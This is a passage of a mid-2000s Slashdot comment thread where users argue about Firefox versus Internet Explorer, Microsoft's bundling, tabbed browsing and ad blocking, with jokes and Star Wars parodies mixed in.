I use Firefox occasionally; for the most part I use IE. There's one specific piece of behavior in Firefox that I hate, that works great for me in IE - and that's when I create a new tab/page/whatever, I get the page that I was looking at duplicated in that window.

Until Firefox does that, I won't switch. Even then it depends. I mainly use it these days to test compatibility.

Re:The End of IE

[NutscrapeSucks]

IE only had 60% marketshare when Netscape cancelled v5.0, even with the bundling. They wouldn't have stayed there while Nutscrape went on a five year hiatus and rewrote everything from scratch.

I agree that a seeing a real browserwar is unlikely, but I think you will see enough compeition to keep the IE development team alive this time.

Re:The End of IE

[pv2b]

I'm not kicking it. (Well I am, but not just for the sake of kicking.) I'm pointing out a factual error in the parent post.

Re:The End of IE

[krappie]

I agree that a seeing a real browserwar is unlikely, but I think you will see enough compeition to keep the IE development

I see Microsoft is finally putting active development back into IE. They've publicly stated that the only reason they are doing this is because of increased pressure from Firefox.

What does this say for Microsoft? They only actively develop new features in their most commonly used programs when another competitor threatens their dominance? They never cared to continue development into IE as long as they had the market share? The only way to get IE developers off their ass is for the people to come together and make a great alternative?

Its amazing that the Mozilla people were able to put out such a good product that they were able to crack into less than 10% of Microsoft's market share. Its insane that losing your 90% hold on the browser market is Microsoft's idea of a threat. I find it humorous when Microsoft refers to this as competition.

Microsoft has an unfair advantage. This is not competition.

I just want to say I think its disgusting that the browser market is arranged this way. Should I rejoice now that the Mozilla people put out such a good product that it made IE developers get up off their asses?

Re:The End of IE

[Anonymous Coward]

Get used to it. For a site of supposedly educated people, /. sure reads like it is visited by a bunch of 14 year olds.

Re:The End of IE

[Trelane]

when I create a new tab/page/whatever, I get the page that I was looking at duplicated in that window.

Such functionality exists in current versions of Mozilla (and has for the past couple of years, if not longer). It's available in your Preferences, under "Display on Navigator Startup", "Display on New Windows", and "Display on New Tab". For each one, you have three options: "Blank Page", "Home Page", "Last Page".

While it doesn't look like Firefox has the GUI way to configure this, it looks like it's still in there. Go to the URL "about:config". The preferences you're looking for are "browser.tabs.loadOnNewTab", "browser.windows.loadOnNewWindow", and "browser.startup.page". (You can probably guess which does what ;) These are each integer values, and they are:

0 Blank page 1 Home page 2 Last page At least, that seems to be the system. I highly recommend using the "Filter" area to quickly select these configuration preferences.

Hope that helps!

BTW, is there some way to disable the loadOnNewWindow = 2 functionality under IE? It always drives me up the wall whenever I'm forced to use IE.

Re:The End of IE

[NutscrapeSucks]

Nutscrape/Mozilla didn't put out a good product between Navigator v3 and Firefox, so yes you should rejoice.

I was totally ignorant

[ArmorFiend]

I never heard of this "firefox" thing before now. I had had no idea what tabs were before now. Its interesting to learn that this "Internet Explorer" isn't the only internet out there. I'm glad there's a website like this "Slashdot" to tell us these things - thank you Slashdot!

Re:I was totally ignorant

[Khelder]

I would like to be able to laugh at this, but two weeks ago I mentioned Firefox to a coworker in passing and he said "What?" And he's a technologist, a software designer, architect, and developer.

Re:I was totally ignorant

[mattbrundage]

In a similar vein...

I work at the Department of Energy, and recently put in a request to have Firefox installed on my terminal. My boss said it might take a while because Tech Support must first test the software to make sure it's not harmful! [oh, the irony...] After a few weeks, Firefox was approved and some random computer dude came down to my cubicle.

Dude: "I'm here to install Firefox."
Me: "Yeah, I have the executable right here on my desktop."
Dude: "Ok. [pause] So, what is this thing?"
Me: "It's a browser." I could tell he thought I was disgusted at his ignorance, so he said,
Dude: "You know, I've been playing around with Macs lately.."
I felt like patting him on the head and saying "good boy."

Re:I was totally ignorant

[geniepiper]

There is another side to this. I mean I don't consider myself a highly technical person. I work with mentally disabled adults as a profession and somewhere along the line I taught myself about computers, but I do know about other browsers than just IE. My preference is for Opera; but, I keep Firefox on my system too and keep it updated as well as occasionally use it. I belong to several non technical mailing lists where we occasionally might talk about computers and I have managed to get several people there to switch to either Opera or Firefox. Shortly I will be spending my Saturdays teaching computers at a new low income housing community center. Some of the things I am going to teach them are that there are other isps than just AOL and other browsers than internet explorer. The news is speading...

Re:I was totally ignorant

[ArmorFiend]

I am going to teach them are that there are other isps than just AOL

Okay, now you're just making this stuff up!

Everyone of these damned articles is the same

[ian rogers]

Of course IE has had 90%+ market share.

You really expect people who don't even know how computers work to go out of their way to get a new browser when they have no clue why they would need it? Not only did IE come standard on all the Windows OSes, it also came on OS 9. If Firefox or some other alternative browser can standard, and people had to download IE in order to use it, that browser would have 90%+ market share.

Until Firefox starts coming on computers instead of/in addition to IE, there's no way it's going to have 90%+ market share.

Re:Everyone of these damned articles is the same

[Anonymous Coward]

Ummmmmm..... Firefox DOES COME STANDARD with many Linux distributions. Predictably, M$ would never offer an alternative to I.E. as they wouldn't make any money off of it. Corporate greed seems to be able to overcome common sense with alarming regularity.

Re:Everyone of these damned articles is the same

[hawaiian717]

Not only did IE come standard on all the Windows OSes, it also came on OS 9

For the record, Mac OS 9 included both IE and Netscape Communicator.

Re:Everyone of these damned articles is the same

[earthbound kid]

For the record, Netscape versions 4 - 8 have sucked.

Re:Everyone of these damned articles is the same

[AmberBlackCat]

I seem to also remember that every software package we bought would automatically install Internet Explorer and refused to install if we didn't accept IE with it. It was as if there was no way to avoid getting it on the computer. I also seem to remember everybody was downloading and installing Netscape 2 and 3 even though they already had IE on the computer. It was more popular even though it had to be downloaded. And it was better. The problems didn't start until Netscape 4 I think, which seemed to not add anything at all. And around this time, Internet Explorer had the ability to display the webpage even while it was downloading. Netscape still made us wait until the whole page was loaded, and if you resized the browser it would reload the whole page. That's what made me switch to IE. Of course now I'm using Firefox for everything except the sites that only work with IE. But that's because of the tabbed browsing. I really don't feel like it's any more "secure" at this point.

Same old thread, rehashed

[the_weasel]

Are we still talking about this? Seriously? Is there any new information here that hasn't been presented, seen, dissected and analysed yesterday, and the day before, and the one before that?

This reads like we are beating the same old dead horse over and over again.

Re:Same old thread, rehashed

[Anonymous Coward]

like we are beating the same old dead horse over and over again.
nice.

No, the problem is this...

[SamMichaels]

Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. (Emphasis added)

I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.

The more WE, as people in-the-know, screw up the terminology, the more the sheeple will too. How about we give them the impression that the "interweb" has more than just "that dot com thing"? Maybe, just maaaaaaaybe, if they understand that the INTERNET is a bunch of computers connected together that can talk to each other (and say MANY different things) then they'll also better understand security concerns, patching, etc. Isn't security one of the big factors of the "browser war"?

Re:No, the problem is this...

[LittleLebowskiUrbanA]

I propose a -1 mod ranking of "high school goth-kid insult" for the term "sheeple."

Re:No, the problem is this...

[SA Stevens]

You've been this resentful since the last Gopher servers went down, eh?

Re:No, the problem is this...

[Anonymous Coward]

Gopher lives!

Re:No, the problem is this...

[Anonymous Coward]

Welcome to your complete irrelevance.

Re:No, the problem is this...

[advocate_one]

baaa...

Re:No, the problem is this...

[FidelCatsro]

Your a sheep if you agree , your a zelout if your agree , if you disagree your a troll , if you disagree your a tool.
You cant win ;)
Though i do advise the reintroduction of corpral punishment for the use of the terms fanboi , zelout , and sheeple

Most people don't.

[DogDude]

That's great for you, but you're not in the majority. The browser wars will ocne again be determined by populartiy, which is determined by prettiness, features, etc. Most people don't really care about security, and only developers (and other related uber-geeks) care about standards compliance.

Re:Most people don't.

[TFGeditor]

"The browser wars will ocne again be determined by populartiy..."

Look at it this way: If MS puts real tabbed browsing in IE, the majority of users will become familiar with it. Then, when they hear that Firefox, Opera, and ??? also have this feature (which they now know what it is) AND are more secure against identity theft and other evils, they are more likely to take notice and investigate.

The smartest move Mozilla could make with Firefox is to make the default skin look and feel like IE. Then the clueless could make a painless and transparent transition.

But, what do I know.

Re:Most people don't.

[Anonymous Coward]

The smartest move Mozilla could make with Firefox is to make the default skin look and feel like IE.

Having an IE-like Skin was basically the entire point of Firefox in the first place.

Re:Most people don't.

[TFGeditor]

You're probably right. It's been so long since I first installed Firefox, I honestly do not remember what the default skin looked like.

Re:Most people don't.

[uohcicds]

Yes, but (l)users DO want to be able to look at their favourite web sites without the browser making a mess of it.

If they can't do that, they won't use it.

There was only ever 1 browser war...

[Anonymous Coward]

There was only ever 1 browser war... Netscape Vs Internet Explorer, and this was when Windows 98 was launched.

You see, people use whatever is easiest for them. Before Win98, the Average Joe used whatever browser their ISP gave them. As soon as Win98 came out, all these users saw they already had a web browser and saw no need for installing another since they could already do everything they needed to.

All this browser wars talk is stupid. There is no browser wars. People are going to click *whatever* icon is on their computer. If there is a war, its not a browser war. Its a Microsoft Vs Competition war. If microsoft can control the Internet icon on their desktop, it doesnt matter how much better the alternatives as long as they are "good enough" they are going to stay top used web browser.

Cross-platform

[quintiusc]

I commonly use both PCs and Macs and I want a broswer that I can use on both. As other operating systems gain users this will become more of an issue.

If Firefox can hold on for a while longer I believe that more web pages will start to comply to the actual standards and IE will take a hit due to that.

Re:Cross-platform

[Arru]

I commonly use both PCs and Macs and I want a broswer that I can use on both. As other operating systems gain users this will become more of an issue.

Unfortunately, M$ has a "solution" for you. Check out IE or WMP for the Mac. They could both be bundled as "Microsoft Alibi for Macintosh".

They truly suck as mac apps, they don't even adhere 100% to MS' own standards and their only purpose is for Microsoft to be able to claim "Yes, we're multi-platform. Both IE and Windows Media are available for the mac". I got served with this recently when buying a digital camera - I'm supposed to watch video clips in WiMP only, and the best quality codec is "not supported on the mac". Yet it says on the box that it's suitable for the mac...

Similar non-products for GNULinux aren't hard to envision.

BROWSER WARS

[mtrisk]

BROWSER WARS
EPISODE IV: A NEW HOPE

It is a period of civil war. Open Source spaceships, striking from a hidden base, have won their first victory against the evil Microsoft Empire.

During the battle, Mozilla spies managed to steal secret plans to the Empire's ultimate weapon, the INTERNET EXPLORER 7, a tabbed browser with enough market share to destroy the entire open source movement.

Pursued by Microsoft's sinister agents, BEN GOODGER races races home aboard his starship, custodian of the stolen code that can save his project and restore freedom (both libre and beer) to the internet...

Re:BROWSER WARS

[Zontar The Mindless]

Either you can't draw a good analogy to save your life, or this is a badly-disguised troll. Hint: Mozilla didn't steal code from anybody.

(The article was pretty lame, too.)

Re:BROWSER WARS

[Anonymous Coward]

Didn't steal code from anyone except the Mosaic team at NCSA, you mean.

Oh, and by the way, with all the slander that gets thrown around claiming that Microsoft stole code from people, you should get a thicker skin. What's good for the goose is great for the gander - especially when it makes people like you wander around screaming "Troll! Troll! Mummy, I don't like it when they do it back to me!"

Re:BROWSER WARS

[Zontar The Mindless]

1. What Mosaic code might that be?

2. I'm not responsible for what other people say about Microsoft.

Re:BROWSER WARS

[Anonymous Brave Guy]

BROWSER WARS
EPISODE V: THE EMPIRE STRIKES BACK

It is a dark time for OSS developers. Although Internet Explorer 7 has failed to secure 90% market share, Microsoft lawyers have driven the OSS developers from their hidden basements in their parents' houses and sued them across the US.

Evading the dreaded Imperial lawsuits, a group of free software developers led by Ben Goodger has established a new secret development on a remote CVS server.

The evil Lord Gates, obsessed with finding young Goodger, has dispatched thousands of code monkeys to the far reaches of the Internet...

It's funny

[mcc]

How any time you actually have an honest choice of software in the consumer software world, it's such a strange and upsetting event we have to describe it by the word "wars".

Wouldn't it be nice if competition between multiple partners were the rule, rather than an exception so bizarre that when it occurs we widely describe it by a word normally associated with mass death and destruction?

Kind of a small thing, but y'know, just a thought...

Re:It's funny

[Turn-X Alphonse]

Because in 2005 you're "the best" or you're nothing.

Look at the amount of people with iPods thinking they MUST have one, when any cheaper MP3 player would be just as effective.

Re:It's funny

[rhizome]

How any time you actually have an honest choice of software in the consumer software world, it's such a strange and upsetting event we have to describe it by the word "wars".

You're noticing the primacy of the discourse of Capitalism. The apotheosis of US Capitalism is based on a race for domination, if not monopoly, where 2nd place - while not necessarily a poor investment - is indeed considered by critics and the press as first loser.

Re:It's funny

[UserGoogol]

Eh, depends on the market. Burger King and Pepsi seem to be doing fine.

To be fair

[Anonymous Coward]

This guy might be retarded. Seriously. Read the summary and find this nugget: "Window's" Wow!

Doubt It

[E-Rock-23]

it should drastically improve browser performance in a short period of time

Bah. It's been how long since the first browser war? And IE is still a heaping pile of crap. And, what's worse, M$ doesn't seem to want to fix what they already have on the market. "Oh, we'll fix it with Longhorn." Yeah, so you'll have to spend more money on a whole new OS, just to fix these bugs that have been arond since at least version 5.

Granted, all browsers have their flaws. But at least most of these browsers have people working to patch whatever holes are found. M$ has been nothing more than lackluster with regards to their patch attempts, rarely releasing any fixes. And when they do release a fix, it sometimes breaks other stuff (a'la SP2).

Until M$ gets its head out of its ass, makes IE stand-alone (as in not intergrated into Windows), and gets with the program with regards to patching security risks in a timely manner, I'll stick with the competition. Firefox and Konqueror work just fine for me...

Re:Doubt It

[Anonymous Coward]

Until M$ gets its head out of its ass, makes IE stand-alone (as in not intergrated into Windows), and gets with the program with regards to patching security risks in a timely manner, I'll stick with the competition. Firefox and Konqueror work just fine for me...

I love Konqueror, I'm using it right now... but it is heavily integrated into the desktop environment, just like Explorer. Hypocrisy much?

Point is, its very handy to be integrated like this. It shouldn't be a problem as long as it is secure.

Re:Doubt It

[datadriven]

The difference is that in linux the desktop is separate from the kernel. Crashing konqueror will not bring your system down. Also konqueror runs with the same permissions as the user, not the super-user

Re:Doubt It

[Angelox]

It doesn't really matter what MS does-I will always stay as far away from them as possible,I know/remember what they are, and what they have done ever since all this started back in the DOS days.
I like to think of the 90% Browser users MS has as "Internet Zombies" these are users that only can master their mouse (not the keyboard), so they click away mindlessly.

My take on the browser wars

[pHatidic]

Asa and Ben: Good morning. In less than an hour, Firefox and Mozilla will join others from around the world. And you will be launching the largest browser war in this history of mankind.

Mankind -- that word should have new meaning for all of us today.

We can't be consumed by our petty differences anymore.

We will be united in our common interests.

Perhaps its fate that today is the 4th of July; and you will once again be fighting for our freedom, not from tyranny, oppression, or persecution -- but from Microsoft.

We're fighting for our right to browse, to surf free.

And should we win the day, the open source community will no longer be known as an niche group, but as the day when the world declared in one voice:

"We will not go quietly into the night.

We will not vanish without a fight.

We're going to live on.

We're going to survive."

Today, we celebrate our Independence Day!

Re:My take on the browser wars

[bloodstar]

So, where's Will Smith to pilot the ship to Redding?
He thought he had it tough against the aliens, wait until he runs into CthulhuGates!

As an aside, I hate it when slashdot tells me I'm not human, I mean, come on! Just because I'm not doesn't mean we have to start having speciesism!

Re:My take on the browser wars

[hawaiian717]

You mean the browser wars are going to be won by two guys and a PowerBook? Sweet!

Somebody get one for Asa and Ben. :)

Undesirable effects

[Crimson Dragon]

"For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

This will also create many average users that hate the other side for no good reason. The browser wars were rife with ignorant zealots on both sides. I hope the browser war makes it to a more high-brow level of technically meritorious discussions.

enough with the sequels

[Anonymous Coward]

"browser wars 2"??? Please, spare me I could hardly stomach the "first" one...

In the end, does it really matter so much what browser you choose to use? If the obviously superior features of FF are not enough to convince to try/use it over IE, then by all means use IE.

Why does everything in our society seem to have to break down to a coke v. pepsi scenario?

Re:enough with the sequels

[Anonymous Coward]

Funny you should mention this. From my .sig rotation:

"[American] Democracy is getting to choose between Coke and Pepsi, when all you wanted was a cup of coffee."

Re:enough with the sequels

[Anonymous Coward]

Sorry dude... we (consumers, users etc.) are not responsible for those wars... ask Pepsico and Coke...
I suppose the answer is PROFIT.

Re:enough with the sequels

[peawee03]

Those raised on American media typically will not spend the thought power to raise an argument above Coke V. Pepsi. Our politics, for example, feature it heavily ("If you don't follow what we believe, you're one of them," where words like "liberal" and "conservative" become slurs).

They simply won't handle it. I betcha 80%-90% of the world can, but they won't.

Article is a click troll

[Animats]

Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

Dumb article, too.

The next big play in the "browser wars" should be more aggressive ad blocking.

Re:Article is a click troll

[Soul-Burn666]

What ads? I don't see any ads.

Oh right, some people don't use adblock yet :P

Re:Article is a click troll

[boomka]

that's why I always first check out Slashdot comments.

If within 30 seconds I find a comment which says "boring", "stupid", "markedroid" or "obvious" I don't bother clicking anything.

Besides, most articles are so scarce on insight and information you will learn more from Slashdot discussion browsing at +4.

Re:Article is a click troll

[comp.sci]

I don't think that ad blocking should become more aggressive in standard versions of browsers. A lot of content on the web today is only free because of ad-revenue and by making ad-blocking mainstream, plenty of these business-models would break.
Right now you can put in a little bit of effort to block ads with extensions and still enjoy a plethora of free content!

Re:Article is a click troll

[Omnieiunium]

I agree. What is an ad?

Re:Article is a click troll

[rhizome]

A lot of content on the web today is only free because of ad-revenue and by making ad-blocking mainstream, plenty of these business-models would break.

when the free content is spread paragraph-by-paragraph across ad-filled pages it becomes an issue of greed. personally, i dont have a problem with greedy business models breaking.

Re:Article is a click troll

[Spoing]

Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

Platypus! Right click, Platypus!, hover cursor, press Del, ...

Dumb article, too.

Erm...Platypus can't help that.

Re:Article is a click troll

[Saeger]

What is an ad?

Apparently, an ad is a form of mental engineering designed to increase awareness of CompanyX's warez, and is usually targetted at young & stupid, easily-influenced, captive audiences.

Re:Article is a click troll

[Anonymous Coward]

Yes it can! Right click, Platypus!, hover cursor, press Del, ...

Re:Article is a click troll

[Spoing]

"Dumb article, too."

ME: 'Erm...Platypus can't help that.'

AC: Yes it can! Right click, Platypus!, hover cursor, press Del, ...

Touche!

Anyone else

[Turn-X Alphonse]

Anyone else think this was Anti firefox? They say "IE has some security holes" then go on and list 5-6 "problems" (Which I've never exprienced) with Firefox... WTF comes to mind..

If you're going to write a pro-IE article don't show it off like it's a "browser war" article.

Re:Anyone else

[idonthack]

Yeah. The giant IE logo on the front page, and then a one-tenth size Firefox logo on the next page made it kind of obvious.

Re:Anyone else

[hawaiian717]

It definately did seem to be anti-Firefox to me. They seemed to prefer even Netscape 8 over Firefox, somehow managing to make it sound decent. They make automatically rendering a lot of sites with the IE engine sound like a good thing:

During normal surfing the browser will use IE's engine (due to its maximum compatibility) but it will switch to Firefox when visiting a shady site.

It almost sounds like you're a bad person if you visit a site that causes Netscape 8 to switch to Gecko.

But my favorite five words, which stand on their own without any further comment from me:

The browser features clean looks

test

[roman_mir]

leetkey - whaat is going on with the links here?

this is a test.

Re:test

[pv2b]

whaat is going on with the links here?

You forgot the http:/// in front. Without that, your web browser is going to treat the hostname you mentioned as a relative link, which probably isn't want you want.

This is not how you use apostraphe's

[Stick_Fig]

God, whoever wrote this article should be shot by Bob the Angry Flower for not using apostraphes correctly.

Why is it that any moron with a website can get on Slashdot without fact checking, but instead unchecked, grammar-deficient opinion?

Re:This is not how you use apostraphe's

[Caspian]

And you're going to get modded down, since no one cares any more except you and me.

Re:This is not how you use apostraphe's

[Stick_Fig]

And apparently I have no room to bitch, because I spelled apostrophes wrong. :D

Re:GNOME the Movie, finally here!

[Anonymous Coward]

I've never had gnome misbehave that much, that's pretty impressive. KDE used to be like that for me but that was over a year ago.

From TFA...

[R.Mo_Robert]

Page 3 states:

Though Netscape fell flat on its face in the mid-90s it is back with 8.0 and it means business.

No, no, I think it was doing pretty good in the mid-90's. By the late 90's, however...

Stock market

[bigberk]

Call up your broker, buy 1,000 shares FFOX!!

Re:Stock market

[Anonymous Coward]

Call up your broker, buy 1,000 shares FFOX!!

I tried that, and now my broker won't let me buy stocks anymore!

Is that your final answer?

[nunchux]

Boy, that was the Slashdot post from hell. Reading that made me madder than a yak in heat.

Re:Is that your final answer?

[Golias]

Fitting material, perhaps for "Pierre Bernard's Recliner of Rage"

Safari 2

[LittleLebowskiUrbanA]

crawls... The newest version of FireFox on a Mac crashes for me using 10.4 Is Camino stable on 10.4 yet? Both Camino and FireFox are noticeably faster than Safari. Now if only Camino would allow me to block images from source.

Re:Safari 2

[objekt]

Sounds like you have other problems. Safari 2 is fast as ever for me, and Firefox 1.0.4 doesn't crash for me.

There will never be another browser war on windows

[krappie]

There will never be another browser war on windows. As long as the following are true:

• Its nearly impossible to buy a computer without buying windows. Manufacturers dont want to upset Microsoft.
  
• Every computer that you do buy that comes with windows has a big blue 'e' icon on the desktop.
  
• Idiots use computers.
  

This is what caused the almost immediate switch from Netscape to Internet Explorer. It had nothing to do with the features of either browser. As long as these three things are true, IE will NEVER go below 80% of the web browser market.

Subliminal advertising for Star Wars

[Anonymous Coward]

1 article a day isn't enough. It appears they want to go after Titanic's record. Sometimes I suspect that Google, Star Wars etc are bribing someone to use Slashdot for marketing purposes

Re:Subliminal advertising for Star Wars

[Anonymous Coward]

Subliminal? No. I'd call Star Wars' advertising campaign very, very blatant.

Now get back on topic.

Browser wars spilling into mail

[tepples]

I "view the internet" using ssh. Sometimes FTP. Maybe SCP. I do like to view the internet using POP3, too.

People who use Firefox for HTTP are more likely to use T-bird for POP3. And once more FTP related RFEs are implemented in Firefox and/or Seamonkey, users of Firefox will be more likely to use Firefox than IE when connecting to FTP sites.

Re:Browser wars spilling into mail

[TerranFury]

I wish Firefox didn't get associated with the FTP protocol in Windows. When it asks me "Do you want Firefox to be your default browser?" I say "Yes," but I only mean "I want to use Firefox as my default http client."

It's a great web browser. It sucks for FTP.

When I type an FTP URL into the "Run" dialog, I'd rather have a proper FTP browser (like WinSCP, or yes, even Explorer!) than Firefox. I found the registry keys that change this, and have some .reg files that I keep around to change my settings, but they keep getting changed back. It's an annoyance.

Re:Browser wars spilling into mail

[datadriven]

This extention is pretty good. fireFTP

MS Will Increase Unfair Advantage

[Rylz]

For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time.

More like drastically increase Microsoft's unfair market practices... They'll just find more ways to integrate IE with Longhorn so that you literally can't do anything in the OS without it... I can also see them adding more online interaction with the OS and Windows Update or whatever on microsoft.com that can only be done through IE's ActiveX Controls.

Re:MS Will Increase Unfair Advantage

[PsychoBrat]

My solution to this problem is to realise that because of this, I simply can't safely use IE for anything else, or I'll risk the security of my Windows Update process... By forcing me to use IE for some things, Microsoft convinced me not to use it for anything else. Am I the only one that sees the irony?

Common automation standard

[Anonymous Coward]

What I would like to see above all else is a common automation standard between browsers. IE uses COM, Mozilla uses something else, the other browsers probably don't; which means cross browser automation is really hard. We already have DOM, which is good, but we need the other aspects of automation to be standardised as well.

Why should either side care?

[superdude72]

Why should either side care about winning Browser Wars II?

In Browser Wars I, Netscape leveraged its popular browser to gain members for its portal service, which was supposed to be the profit center. It also sold an enhanced version of the browser (or was it actually enhanced, or just licensed for corporate use? I can't remember. I never paid for it.)

Microsoft, similarly, leveraged the popularity of its browser to gain subscribers for MSN portal / ISP.

This doesn't seem to be such an important goal anymore. (Portals are *so* 1995.) So they'd be going to "war" to provide a product that hasn't proved to be particularly profitable. What's the point?

Re:Why should either side care?

[Anonymous Coward]

Here is how buying Netscape worked: You downloaded Netscape. You got a message saying that you could only use it for .edu and non-commercial use if you didn't have a license. If you were a big company and wanted to use Netscape, you had to buy a site license from them or risk being audited by the SPA.

Basically, it allowed everyone to use Netscape while Netscape still got revenue from big corporations that wanted to legally use the browser.

It wasn't like shareware; the Netscape anyone could download was the same as the licensed version.

Re:Why should either side care?

[Peaker]

Well, if browsers get too fancy and usable, then they might serve as a portable application platform.

A portable application platform is a Windows killer. Microsoft does not like Windows killers, so it wants to make sure it controls what browser people use, to disallow it to become a portable application platform.

That's one theory anyhow.

Re:Why should either side care?

[Anonymous Coward]

In that respect, then Microsoft has already won. Mozilla has ceased development of the Mozilla Suite, the program that got it to where it is today, in favor of the upstart "Let's be like IE" Firefox browser.

Re:Why should either side care?

[Anonymous Coward]

It was exactly like shareware. It was not like crippleware or nagware. There was quite a bit of shareware that did not include nags or missing features. Bochs was originally shareware even though the source code was available (it is now Open Source, not merely source publicly available).

Re:There will never be another browser war on wind

[bcrowell]

Its nearly impossible to buy a computer without buying windows. Manufacturers dont want to upset Microsoft.
What about all those people buying macs? I've bought my last three computers with Linux preinstalled. They sell them at Fry's and they're prominently advertised in the ads Fry's runs in the local newspaper.

I think a more accurate statement would be that for people who don't care enough to look at the other options, Windows is the default choice.

As long as these three things are true, IE will NEVER go below 80% of the web browser market.
If IE went below 80%, that would be utterly wonderful. The reason we should care about the browser wars is not because we want the IE monopoly to be replaced with a FF monopoly. The reason we should care is because we don't want anybody to have a monopoly.

If IE was down to 80%, a lot of great things would happen. For instance, banks would have to give up on making their web sites only work with IE. Also, it would become virtually impossible for MS to hijack various web standards. Web designers aren't going to go with an MS-only design in a world where that means cutting out 20% of their customers' audience.

There are many good reasons to hate the other side

[Colin Smith]

"I hope the browser war makes it to a more high-brow level of technically meritorious discussions."

You mean kind of like the technical arguments experienced Unix bods have?

e.g.
"Emacs for example is the Unix equivalent of MS Office, a bloated slow dificult to use puddle of drool (what else do you expect with lisp). VI on the other hand is a svelte powerful elegant and universal text editor."

Browser war may lead 2 instability/incompatibility

[thekaz]

The last major browser war led to divergent implementations of HTML & JS which drove web developers crazy. The rush to more features led to frequent but poorly tested releases that were (a) unstable; (b) not secure. It is true, however, that it eventually led to a new generation of browsers and much benefit to the end users. One way to avoid the instability may be to somehow enforce and demand adherence to standards, but this is easier said than done.

You have a typo.

[mindaktiviti]

There's a typo but I'll fix it:

During the battle, Mozilla
spies managed to steal secret
plans to the Empire's
ultimate weapon, INTERNET
EXPLORER 7, an armored web
browser with enough power to
destroy an entire Windows Operating
System.

Re:There will never be another browser war on wind

[Glowing Fish]

Just because I like checking on this, this is what the previous two weeks of apache logs show up:

yggdrasil:/var/log/apache# cat a*g a*g*1 | grep IE | wc -l
644
yggdrasil:/var/log/apache# cat a*g a*g*1 | grep [Ff]ire | wc -l
374

Of course this is totally unscientific. Most of the people that come to my simple little webpage, as oppossed to people going to walmart.com or whatever, are a bit geekier than usual. But I think that your third point shouldn't neccesarily be "idiots use computers" as much as "people who don't understand computers use computers". I think there are a lot of people in there 40s who are intelligent professionals, and just can't naturally parse out the difference between "the operating system", "a program used to access (part of) the internet" and "the internet". I think for high school students and college students, it might not be so confusing. I think that this will be the age group in which computing patterns are made.

Re:There will never be another browser war on wind

[interstellar_donkey]

Actually, your post made me wonder.

A few weeks ago a neighbor of mine called me up saying she was having all sorts of trouble whenever she accessed the Internet. I went over there, saying I could give her a few minutes. Her computer was riddled with spyware. IE had four different spyware related "search bars" running at the top (which is a record in my experience).

Rather then spend hours cleaning things up, I just downloaded firefox and installed some of the more popular plugins (flash etc.) and deleted the big blue E from the desktop and the start menu. I talked to her the other day and she told me "wow, my computer is still running great".

It makes me wonder now if IE might be losing ground not because firefox is better, but because there seems to be less junk out there that messes with firefox? (don't get me wrong, I still think Firefox is better).

Re:There will never be another browser war on wind

[krappie]

What about all those people buying macs? I've bought my last three computers with Linux preinstalled. They sell them at Fry's and they're prominently advertised in the ads Fry's runs in the local newspaper.

Yeah, they arent impossible to find if you go looking for them. However, recently I looked around for a laptop online. I went to several large sites and manufacturer's websites. Dell, HP, IBM. I keep hearing about these people selling Linux computers, but they're very hard to find, especially laptops. If I do find a linux computer, they're often for expensive server hardware only. I dont even care if it comes with Linux, I just dont want to be forced to buy Windows. But your OS choice is always seemingly "Windows XP Home Edition" or "Windows XP Professional Edition" or "Windows XP Media Edition". What the hell. All versions that come with a big blue e icon on the desktop, and usually no other browser. How will IE ever slip below 80%?

Also, you're right about it being great if IE goes below 80% market share. But the whole point of my comment is that its NOT going to happen. Unless something major changes. All of this hype about browser wars is overdone. Nothing is going to change.

I just want it to display somethins readable.

[baomike]

Way to many sites ( note spelling , not "sights") seem to design for IE or screw up , never could tell which.

Re:I just want it to display somethins readable.

[DrSkwid]

(note spelling, not "to" but "too")

Microsoft will always win

[steven94585]

Mainly because you can't remove it from Windows and even if the computer is not connected to the Iternet, it still runs IE. Hell, I run IE because that's what runs Windows Explorer. I use Firefox for all but the few sites that require IE. The feature I love the most is limiting what javescript can do(ie turning out the status bar mouseovers)

Re:There will never be another browser war on wind

[krappie]

It makes me wonder now if IE might be losing ground not because firefox is better, but because there seems to be less junk out there that messes with firefox?

That is seemingly the direct reaction of a single program being used by the masses. In this sense, I think everyone could benefit from more variety. But it probably wont happen with a program as complex as today's browsers.

Maybe its required that we use something different from the masses of people in order to have a pleasant browsing experience?

Tabs schmabs

[Arker]

The whole 'tabbed browsing' thing is just a poor attempt to copy Operas MDI interface anyway.

And yes, I use Firefox as my primary browser now - not Opera - but for other reasons than this. No other browser yet has gotten that part of the interface as usable as Opera had several years ago. And I really think conceiving of it as 'tabs' has something to do with it.

I don't want tabs, I want a decent MDI interface for my browser.

Re:Tabs schmabs

[Anonymous Coward]

MDI is evil. Get over it.

Re:Tabs schmabs

[Mr. Slippery]

I don't want tabs, I want a decent MDI interface for my browser.

You, sir, are cleary a masochist.

MDI...shudder. The horror...the horror...

Mod parent up!

[pv2b]

This needs to be stressed. The biggest threat to computer security is not insecurity in the underlying operating system. It's users not knowing what they're doing.

In this sense, having operating systems hide operation details from you is a Very Bad Thing.

Also, it's naïve to think that the pure virtue of Linux and Mac OS X running everything as an unpriviledged user as standard is going to stop virus writers. You don't need to take over a computer completely to screw with it. You can install nice little keyloggers or remove user data just fine without having to become root.

Re:Mod parent up!

[pv2b]

So I'm a troll by virtue of being right? Go on. Burn some more karma. I can afford it.

zerg

[Lord Omlette]

Good, let them fight. When all of their energy is exhausted, we will show them the true follow of their "browser war"!

click

Ugh

[Dachannien]

Rather than increasing "performance" (probably by precaching), what we would actually see from a new round of browser wars is tons of features nobody really needs - features that integrate the browser with various non-sandboxed activities that are potentially exploitable, features that are enabled by default and that have cryptic (to the neophyte) names so the average user won't know what to disable in order to browse the web safely.

You know, just like IE is now, except more.

Re:Ugh

[mindwar]

standards?

Whose standard compliance?

[vlad_petric]

It's actually not that difficult to make a standard-compliant browser. The real problem is that IE is extremely permissive, and most of this world's sites are built specifically for IE. This was a deliberate move by Microsoft.

The real problem with other browsers is that it's extremely difficult to emulate IE's behavior, and not w3c conformance.

Re:Whose standard compliance?

[Anonymous Coward]

Sometimes I dream of Microsoft just flat-out replacing iexplore.dll (or whatever it is) with Gecko or WebCore. After all, wouldn't this be a good move for them, and for everybody? Then I wake up and have to change my pants.

Re:Whose standard compliance?

